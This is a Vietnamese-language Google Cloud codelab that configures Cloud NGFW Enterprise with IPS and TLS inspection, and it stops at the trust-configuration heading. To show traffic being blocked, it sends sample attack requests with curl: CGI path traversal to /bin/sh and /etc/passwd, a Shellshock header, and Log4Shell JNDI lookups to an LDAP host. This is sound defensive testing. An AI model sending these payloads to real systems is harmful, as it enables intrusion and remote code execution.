Lớp học lập trình Cloud NGFW Enterprise [với việc kiểm tra TLS]

1. Giới thiệu

Tường lửa thế hệ tiếp theo của Cloud (NGFW)

Cloud Next Generation Firewall là một dịch vụ tường lửa được phân phối đầy đủ, có các chức năng bảo vệ nâng cao, khả năng phân đoạn vi mô và phạm vi bao phủ để bảo vệ tải công việc của bạn trên Google Cloud khỏi các cuộc tấn công nội bộ lẫn bên ngoài.

Cloud NGFW có các lợi ích sau:

  • Dịch vụ tường lửa phân tán: Cloud NGFW cung cấp một cơ chế thực thi dựa trên máy chủ lưu trữ được phân phối đầy đủ và có trạng thái trên từng tải công việc để hỗ trợ kiến trúc bảo mật không tin tưởng bất cứ điều gì (zero-trust).
  • Cấu hình và triển khai được đơn giản hoá: Cloud NGFW triển khai các chính sách tường lửa mạng và phân cấp có thể đính kèm được vào một nút phân cấp tài nguyên. Các chính sách này mang đến trải nghiệm tường lửa nhất quán trên hệ thống phân cấp tài nguyên của Google Cloud.
  • Kiểm soát chi tiết và phân đoạn vi mô: Sự kết hợp giữa chính sách tường lửa với Thẻ quản lý danh tính và quyền truy cập (IAM) giúp kiểm soát hiệu quả đối với cả lưu lượng truy cập từ Bắc Nam đến Đông Tây qua một máy ảo duy nhất trên các mạng và tổ chức của Đám mây riêng tư ảo (VPC).

Cloud NGFW có các cấp sau:

  • Kiến thức cơ bản về tường lửa thế hệ mới của Cloud
  • Tiêu chuẩn tường lửa thế hệ tiếp theo của Cloud
  • Cloud Cloud thế hệ tiếp theo dùng tường lửa Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise thêm Dịch vụ ngăn chặn xâm nhập (IPS), một tính năng của Lớp 7, vào vải tường lửa của Google Cloud được phân phối. Hỗ trợ kiểm tra TLS để cho phép kiểm tra lưu lượng truy cập được mã hoá TLS.

Giờ đây, bạn có thể triển khai các yêu cầu kiểm tra đáng tin cậy về Tường lửa thế hệ tiếp theo (NGFW) của Lớp 7 bằng các biện pháp kiểm soát chi tiết mà không cần thực hiện bất kỳ thay đổi nào đối với cấu trúc mạng hoặc cấu hình định tuyến.

Để kích hoạt và triển khai tính năng kiểm soát tường lửa Lớp 7 bằng IPS, bạn cần thực hiện các tác vụ sau:

  • Tạo một tập hợp các điểm cuối tường lửa theo vùng do Google Cloud quản lý.
  • Nếu muốn, hãy tạo một Chính sách kiểm tra TLS.
  • Tạo một Cấu hình tin cậy (không bắt buộc).
  • Liên kết các thiết bị đầu cuối này với mạng đám mây riêng ảo (VPC) mà bạn cần dùng dịch vụ Cloud NGFW Enterprise.
  • Thực hiện các thay đổi đơn giản đối với chính sách tường lửa và quy tắc tường lửa hiện tại để chỉ định hồ sơ ngăn chặn mối đe doạ cho nhiều đường dẫn lưu lượng truy cập.

Chính sách về tường lửa mạng

Chính sách tường lửa mạng hoạt động như một vùng chứa cho các quy tắc tường lửa. Các quy tắc được xác định trong chính sách tường lửa mạng không được thực thi ở bất cứ đâu cho đến khi chính sách này được liên kết với một mạng VPC. Mỗi mạng VPC có thể được liên kết với một chính sách tường lửa mạng. Chính sách tường lửa mạng hỗ trợ Thẻ do IAM quản lý (hoặc chỉ Thẻ) trong các quy tắc về tường lửa. Các quy tắc này thay thế các thẻ mạng hiện tại và có thể dùng để cung cấp thông tin nhận dạng cho khối lượng công việc.

Việc chia sẻ chính sách tường lửa mạng giữa các mạng và việc tích hợp với Thẻ do IAM quản lý giúp đơn giản hoá đáng kể việc định cấu hình và quản lý tường lửa.

Cùng với sự ra mắt của chính sách về tường lửa mạng, các chính sách về tường lửa của Google Cloud giờ đây bao gồm các thành phần sau:

  1. Chính sách về tường lửa phân cấp
  2. Quy tắc về tường lửa của VPC
  3. Chính sách về tường lửa mạng ( Toàn cầuKhu vực)

Chính sách tường lửa phân cấp được hỗ trợ tại nút tổ chức và nút thư mục trong hệ thống phân cấp tài nguyên, trong khi các quy tắc về tường lửa của VPC và chính sách về tường lửa mạng được áp dụng ở cấp VPC. Một điểm khác biệt lớn giữa các quy tắc về tường lửa của VPC và chính sách về tường lửa của VPC là các quy tắc về tường lửa của VPC chỉ có thể được áp dụng cho một mạng VPC, trong khi các chính sách về tường lửa mạng có thể được gắn vào một VPC hoặc một nhóm VPC, bên cạnh những lợi ích khác như việc cập nhật theo lô.

Cuối cùng, chúng tôi cũng có các quy tắc ngụ ý về tường lửa đi kèm với mọi mạng VPC:

  • Một quy tắc đầu ra có tác vụ là allow, đích đến là 0.0.0.0/0
  • Một quy tắc nhập vào có hành động bị từ chối, nguồn là 0.0.0.0/0

Theo mặc định, trình tự thực thi được thể hiện trong sơ đồ sau đây:

21b3bcabc469ffe.png.

Xin lưu ý rằng thứ tự thực thi giữa các quy tắc về tường lửa của VPC và chính sách về tường lửa cho mạng toàn cầu có thể được hoán đổi. Khách hàng có thể chỉ định lệnh thực thi bất cứ lúc nào bằng lệnh gcloud.

Thẻ từ khóa

Thẻ mới được tích hợp trong quy tắc chính sách về tường lửa mạng là tài nguyên cặp khoá-giá trị được xác định ở tổ chức hoặc cấp dự án trong hệ thống phân cấp tài nguyên Google Cloud. Một Thẻ như vậy chứa các biện pháp kiểm soát quyền truy cập IAM để chỉ định ai có thể làm gì trên thẻ. Ví dụ: các quyền Quản lý tính đồng nhất và quyền truy cập (IAM) cho phép chỉ định những thành phần chính có thể gán giá trị cho thẻ và thành phần chính có thể đính kèm thẻ vào tài nguyên. Nếu quy tắc tường lửa mạng tham chiếu đến một Thẻ, thì bạn phải áp dụng quy tắc đó cho tài nguyên để thực thi.

Thẻ tuân thủ mô hình tài nguyên kế thừa của Google Cloud, tức là thẻ và giá trị của thẻ được chuyển từ thành phần mẹ sang hệ phân cấp. Do đó, các thẻ có thể được tạo ở một nơi, sau đó được các thư mục và dự án khác sử dụng trong toàn bộ hệ thống phân cấp tài nguyên. Hãy truy cập vào trang này để biết thông tin chi tiết về thẻ và quy định hạn chế về quyền truy cập.

Không nên nhầm lẫn thẻ với thẻ mạng. Chính sách sau là các chuỗi có thể thêm vào các phiên bản Compute Engine; chúng được liên kết với thực thể đó và biến mất khi thực thể đó ngừng hoạt động. Các quy tắc tường lửa của VPC có thể bao gồm thẻ mạng, nhưng vì không được xem là tài nguyên đám mây nên không phải tuân theo chế độ kiểm soát quyền truy cập IAM.

Xin lưu ý rằng Thẻ và Thẻ được quản lý qua IAM đang được sử dụng thay thế cho nhau trong tài liệu này.

Sản phẩm bạn sẽ tạo ra

Lớp học lập trình này yêu cầu một dự án duy nhất và khả năng tạo mạng lưới VPC cũng như quản lý một số tài nguyên về bảo mật và mạng. Bản trình bày này sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp chức năng IPS bằng cách:

  • Kiểm tra các luồng Internet từ phía bắc bằng quy trình kiểm tra TLS
  • Kiểm tra các luồng nội bộ [Đông-Tây] bằng việc kiểm tra TLS

Các quy trình cần kiểm tra sẽ được chọn bằng các tham số so khớp của Cloud Firewall, bao gồm 5-tuple (IP nguồn, IP đích, giao thức, cổng nguồn, cổng đích) và Thẻ.

3d0f288d3b92a295.pngS

Trạng thái kết thúc của cơ sở chính sách về tường lửa mạng sẽ tương tự như bảng dưới đây:

Mức độ ưu tiên

Hướng dẫn

Target

Nguồn

Đích đến

Hành động

Loại

100

Lưu lượng vào

Server_Tag

Kiểm tra tình trạng

Bất kỳ

Cho phép

Essentials

200

Lưu lượng vào

Client_Tag, Server_Tag

Giao dịch mua hàng trong ứng dụng

Bất kỳ

Cho phép

Essentials

800

Lưu lượng vào

Server_Tag

10.0.0.0/24

10.0.0.0/24

Kiểm tra mức độ L7

Doanh nghiệp

850

Lưu lượng ra

Client_Tag

Bất kỳ

10.0.0.0/24

Cho phép

Essentials

900

Lưu lượng ra

Client_Tag

Bất kỳ

Bất kỳ

Kiểm tra mức độ L7

Doanh nghiệp

Kiến thức bạn sẽ học được

  • Cách tạo chính sách tường lửa mạng.
  • Cách tạo và sử dụng Thẻ có chính sách tường lửa mạng.
  • Cách định cấu hình và sử dụng Cloud NGFW Enterprise qua quy trình kiểm tra TLS.

Bạn cần có

  • Dự án trên Google Cloud.
  • Có kiến thức về cách triển khai thực thể và định cấu hình các thành phần mạng.
  • Kiến thức về cấu hình tường lửa VPC.

2. Trước khi bắt đầu

Tạo/cập nhật biến

Lớp học lập trình này sử dụng $variables để hỗ trợ việc triển khai cấu hình gcloud trong Cloud Shell.

Trong Cloud Shell, hãy chạy các lệnh bên dưới để thay thế thông tin trong dấu ngoặc theo yêu cầu:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Bật API

Bật các API nếu bạn chưa thực hiện việc này:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tạo thiết bị đầu cuối dành cho doanh nghiệp của Cloud NGFW

Vì quá trình tạo Cloud NGFW Enterprise Endpoint mất khoảng 20 phút, nên việc tạo thiết bị đầu cuối này sẽ được tạo trước, và bạn có thể thiết lập cơ sở song song trong khi tạo điểm cuối.

Tạo Nhóm Hồ sơ bảo mật và Hồ sơ bảo mật:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Kết quả đầu ra dự kiến:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Xác nhận rằng các tài nguyên đã được tạo thành công:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể khác nhau tuỳ theo ứng dụng đang dùng:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Tạo điểm cuối Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

Chạy lệnh dưới đây để xác nhận rằng điểm cuối đang được tạo (LÀM TẠO).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang dùng):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm chi tiết:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Quá trình tạo sẽ mất khoảng 20 phút. Chuyển đến phần Thiết lập cơ sở để tạo song song các tài nguyên cần thiết.

5. Thiết lập cơ bản

Mạng VPC và mạng con

Mạng VPC và mạng con

Tạo mạng VPC và mạng con:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

NAT của đám mây

Tạo Cloud Router và cổng Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Nhiều mảnh ghép

Tạo thực thể máy khách và máy chủ web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Thẻ ở cấp dự án

Chỉ định quyền Quản trị thẻ cho người dùng này nếu cần:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Tạo khoá và giá trị Thẻ ở cấp dự án:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Liên kết thẻ với các thực thể:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Chính sách về tường lửa của mạng toàn cầu

Tạo chính sách tường lửa cho mạng toàn cầu:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Tạo các quy tắc Thiết yếu về tường lửa của đám mây bắt buộc để cho phép lưu lượng truy cập qua các phạm vi của tính năng kiểm tra tình trạngproxy nhận biết danh tính:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Tạo các quy tắc Tường lửa đám mây bắt buộc để cho phép lưu lượng truy cập vào mạng theo hướng đông tây/nội mạng từ các phạm vi cụ thể (các quy tắc này sẽ được cập nhật để bật tính năng kiểm tra TLS trong Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Liên kết chính sách tường lửa trên đám mây với mạng VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Liên kết thiết bị đầu cuối tường lửa trên đám mây

Xác định các biến môi trường trong trường hợp bạn chưa thực hiện và/hoặc ưu tiên phương pháp sử dụng tập lệnh.

Xác nhận rằng quá trình tạo Thiết bị đầu cuối tường lửa trên đám mây đã hoàn tất. Chỉ tiếp tục khi trạng thái được hiển thị là HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG SÁNG TẠO):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang dùng):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm chi tiết:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Liên kết điểm cuối tường lửa trên đám mây với mạng VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Quá trình liên kết sẽ mất khoảng 10 phút. Chỉ tiếp tục chuyển đến phần TLS sau khi trạng thái được hiển thị là ACTIVE (ĐANG HOẠT ĐỘNG) (trong quá trình tạo, trạng thái dự kiến là CREATING):

gcloud network-security firewall-endpoint-associations list

Kết quả dự kiến khi hoàn tất:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm chi tiết:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Định cấu hình tài nguyên TLS

Tạo nhóm CA. Tài nguyên này sẽ được dùng để lưu trữ chứng chỉ CA gốc mà chúng tôi tạo cho NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Tạo CA gốc. Đây là chứng chỉ CA sẽ được dùng để ký chứng chỉ bổ sung cho các yêu cầu thông qua NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Nếu bạn nhận được thông báo bên dưới, hãy trả lời y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Tạo một tài khoản dịch vụ. Tài khoản dịch vụ này sẽ được dùng để yêu cầu chứng chỉ cho NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Thiết lập quyền IAM cho tài khoản dịch vụ:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Tạo tệp YAML của chính sách TLS (Bảo mật tầng truyền tải). Tệp này sẽ chứa thông tin về những tài nguyên cụ thể:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Nhập chính sách kiểm tra TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Cập nhật mối liên kết điểm cuối để bật TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Lấy chứng chỉ CA và thêm vào kho lưu trữ CA của ứng dụng:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Chuyển chứng chỉ CA đến ứng dụng khách:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH sang máy ảo, di chuyển chứng chỉ CA sang /usr/local/share/ca-certificates và cập nhật kho lưu trữ CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Quay lại giao diện đám mây.

Quy trình ký chứng chỉ của máy chủ:

Trên Cloudshell, hãy cài đặt thư viện mật mã Pyca bằng lệnh pip:

pip install --user "cryptography>=2.2.0"

Để cho phép Google Cloud SDK sử dụng thư viện mật mã Pyca, bạn phải bật gói trang web.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Tạo Chứng chỉ máy chủ:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Thao tác này sẽ tạo một tệp cert.pem và key.pem trong Cloudshell. Tiếp theo, hãy chuyển chứng chỉ và khoá đến máy chủ.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

SSH vào máy chủ để cập nhật thông tin chi tiết về chứng chỉ cho Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Di chuyển chứng chỉ và khoá vào thư mục cụ thể:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Cập nhật cấu hình ssl để sử dụng chứng chỉ đã ký:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Khởi động lại Apache:

sudo systemctl restart apache2

Xác minh trạng thái Apache:

sudo systemctl status apache2

Hoạt động (đang chạy).

Thoát khỏi máy ảo và tiếp tục trên Cloudshell.

8. Xác thực kết nối hướng Bắc và Đ/T

Chạy các lệnh bên dưới trong Cloud Shell và ghi lại các IP mục tiêu sẽ được sử dụng:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Mở thẻ mới và bắt đầu kết nối SSH với máy ảo máy khách thông qua IAP (bạn sẽ cần xác định các biến trong thẻ mới):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Chạy các lệnh dưới đây và ghi lại các IP mục tiêu sẽ được sử dụng. Tạo các biến thay thế các giá trị trong dấu ngoặc bằng IP đã lưu ý ở bước trước và đảm bảo chúng có thể truy cập được:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Cuộn IP riêng tư và đảm bảo rằng IP đó có thể truy cập được:

curl https://$target_privateip --max-time 2

Kết quả dự kiến cho yêu cầu curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Gửi các cuộc tấn công mẫu tới IP. Máy chủ web cần phản hồi tất cả các yêu cầu, xác nhận rằng không có yêu cầu kiểm tra/ngăn chặn L7 nào:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Kết quả dự kiến mẫu (IP riêng tư):

400
404
400
200
200

Tương tự như vậy, hãy gửi yêu cầu đến một đích đến trên Internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Kết quả dự kiến lấy mẫu (điểm đến Internet):

400
404
400
403
403

Thoát khỏi thiết bị đầu cuối của máy ảo và quay lại Cloud shell.

9. Tạo và cập nhật các quy tắc về tường lửa để kiểm tra TLS

Trước đây, chúng ta đã định cấu hình quy tắc tường lửa để cho phép lưu lượng truy cập vào máy chủ từ mạng con nội bộ. Bây giờ, chúng ta sẽ cập nhật các quy tắc nhập dữ liệu hiện có và thiết lập hành động thành application_security_profile_group. Thao tác này sẽ bật quy trình kiểm tra E/W L7 bằng TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Tạo một quy tắc mới để kiểm tra yêu cầu kiểm tra L7 hướng bắc bằng TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Tạo một quy tắc mới để cho phép EGRESS cho E/W nhằm tránh việc kiểm tra kỹ.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Xác thực quy trình kiểm tra TLS (Bảo mật tầng truyền tải) đến phía Bắc

Chuyển về thẻ máy ảo máy khách hoặc kết nối lại:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Gửi các cuộc tấn công mẫu đến một đích đến trên Internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Không nhận được phản hồi nào theo kết quả dự kiến bên dưới, khẳng định rằng các cuộc tấn công mẫu hiện đã bị chặn:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Đặt biến thành IP máy chủ từ trước:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Gửi yêu cầu TLS mẫu đến máy chủ:

curl https://$target_privateip --max-time 2

Kết quả đầu ra dự kiến:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Tại sao yêu cầu này không thành công? Điều này là do Tường lửa đang nhận chứng chỉ không đáng tin cậy từ máy chủ. Nếu điều này xảy ra, ứng dụng sẽ chuyển chứng chỉ tự ký trở lại ứng dụng khách. Chúng ta cần thêm chứng chỉ CA vào cấu hình tin cậy để bật tính năng tin cậy.

Quay lại Cloud shell.

11. Định cấu hình Cấu hình tin cậy

